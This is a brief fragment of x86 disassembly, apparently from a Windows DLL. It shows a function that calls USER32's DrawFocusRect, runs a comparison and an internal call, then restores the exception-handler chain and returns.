call dword [sym.imp.USER32.dll_DrawFocusRect]
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x62df
jge 0x1000eae9
mov edx, 0x1000b340
mov ecx, 0x1065a598
call fcn.100126bc
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret